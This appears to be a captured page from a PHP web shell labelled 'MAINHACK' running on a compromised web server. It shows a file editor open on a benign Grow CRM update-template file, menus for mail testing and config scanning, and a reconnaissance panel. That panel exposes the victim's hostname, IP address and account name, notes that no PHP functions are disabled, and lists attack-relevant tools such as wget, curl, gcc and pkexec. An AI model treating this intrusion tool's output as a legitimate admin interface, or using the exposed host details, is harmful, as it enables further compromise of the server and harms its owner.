[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: updating_examples.php
<?php /** ---------------------------------------------------------------------------------------------------------------------------------------- * @browser-executed-method * * - these methods will run as part of the CRM updating routine. * - use for simple updates, which can be run when a page loaded in the browser * - these methods are purely optional * - method name must be the same as the sql update file name e.g. for (1.11.sql), the method must be named as: updating_1_11() * - these methods must be run only by logged in user who is the main admin. Run checks as shown in the example: update_0_00() * * @cronjob-executed-methods * * - these methods are used for tasks that take longer to execute and so must be run via a cronjob * - the methods can be named anything that is suitable. example cronjob_update_1.11() * - the method must be registered in the database table 'updating' * [example] - updating_name = 'cronjob_update_1.11()' * - updating_update_version = '1.11' * - updating_request_type = 'cronjob' * - updating_completed = 'no' * - updating_completed_date = 'Grow CRM update for version 1.11' * * - the cronjob will look for updates that are pending and if the method name exists, it will execute and marm as 'completed' * * @author * Nextloop *-------------------------------------------------------------------------------------------------------------------------------------------*/ /** * [EXAMPLE - BROWSER UPDATE] * * @date - August 2022 * * @version - 1.11 * * @details * - routines for Grow CRM update version 1.11 * - this must be run by admin user (id:1) * */ function update_0_00() { //log Log::info("updating function (foo feature) has started", ['process' => '[updating-functions]', config('app.debug_ref'), 'function' => __function__, 'file' => basename(__FILE__), 'line' => __line__, 'path' => __file__, 'project_id' => 1]); //only logged in user if (!auth()->check()) { return; } //only th eadmin if (auth()->id() != 1) { return; } //execut code here //log Log::info("updating function (foo feature) has completed", ['process' => '[updating-functions]', config('app.debug_ref'), 'function' => __function__, 'file' => basename(__FILE__), 'line' => __line__, 'path' => __file__, 'project_id' => 1]); } /** * [EXAMPLE - CRONJOB UPDATE] * * @date - August 2022 * * @version - 1.11 * * @details * - routines for Grow CRM update version 1.11 * - does not require admin user to execute * - must be marked as 'completed' once its done * */ function cronjob_update_0_00_part_1() { //log Log::info("updating function (foo feature) has started", ['process' => '[updating-functions]', config('app.debug_ref'), 'function' => __function__, 'file' => basename(__FILE__), 'line' => __line__, 'path' => __file__, 'project_id' => 1]); //execut code here //log Log::info("updating function (foo feature) has completed", ['process' => '[updating-functions]', config('app.debug_ref'), 'function' => __function__, 'file' => basename(__FILE__), 'line' => __line__, 'path' => __file__, 'project_id' => 1]); }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.02 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002